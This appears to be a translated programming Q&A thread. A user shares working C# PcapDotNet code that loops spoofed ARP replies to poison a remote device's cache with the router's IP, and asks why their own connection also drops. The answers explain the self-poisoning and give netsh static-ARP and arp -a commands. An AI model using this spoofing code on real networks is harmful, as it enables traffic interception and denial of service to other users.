2013-03-17 60 views
1

我使用PcapDotNet创造下一个代码ARP毒药包:ARP中毒对自己

using (PacketCommunicator communicator = 
      selectedDevice.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000)) 
     { 
      while (true) 
      { 
       Packet arp; 

       EthernetLayer ethernetLayer = new EthernetLayer 
       { 
        Source = new MacAddress("f8:d1:11:05:8c:91"), // My Mac 
        Destination = new MacAddress("5c:da:d4:29:6d:5f"), // Remote device IP 
        EtherType = EthernetType.None, // Will be filled automatically. 
       }; 

       ArpLayer arpLayer = new ArpLayer 
       { 
        ProtocolType = EthernetType.IpV4, 
        Operation = ArpOperation.Reply, 
        SenderHardwareAddress = new byte[] { 0xf8, 0xd1, 0x11, 0x05, 0x8c, 0x91 }.AsReadOnly(), // My MAC 
        SenderProtocolAddress = new byte[] { 192, 168, 1, 254 }.AsReadOnly(), // My Router IP 

        TargetHardwareAddress = new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }.AsReadOnly(), 
        TargetProtocolAddress = new byte[] { 0, 0, 0, 0 }.AsReadOnly(), 
       }; 

       PacketBuilder builder = new PacketBuilder(ethernetLayer, arpLayer); 

       arp = builder.Build(DateTime.Now); 

       communicator.SendPacket(arp); 
       System.Threading.Thread.Sleep(500); 
      } 
     } 

的问题是:我能毒害远程设备,但我在我的电脑没有网络太(中毒对自己?)。 我想也许问题是我必须指出(以某种方式),我希望我自己的系统不读取我发送的数据包......但我不知道如何...... 有人可以解释我这里有什么问题?

+0

只做概念测试... – 2013-03-17 22:33:20

回答

0

是否有可能为您的路由器内部IP创建毒性记录?如果是这样,那么你的互联网连接停止工作并不奇怪,因为你的操作系统将不再能够发送任何东西到你的路由器,因此,互联网。

2

将包含网关IP的ARP条目标记为静态(使用正确的硬件地址)。 要做到这一点,在执行CMD以下为管理员:

netsh interface ip add neighbors "{Network Device}" {IP Address} {MAC Address} 

网络设备,例如“本地连接”“以太网”(不要忘了引号)。要找到您当前使用的网络设备,请执行命令“ncpa.cpl”。

,如果你想删除一个静态条目,在cmd中执行以下命令:

netsh interface ip delete neighbors "{Network Device}" {IP Address} 

而且,记住的原因之一,你可以不上网是因为网络中的所有流量被重定向到你的主机。由于您的主机不具备与路由器相同的功能,因此可能会发生网络拥塞。要确定您无法访问Internet的原因是因为您正在中毒自己,请在cmd中执行命令“arp -a”并检查路由器的硬件地址。如果硬件地址与主机的硬件地址相同,那么你正在中毒自己。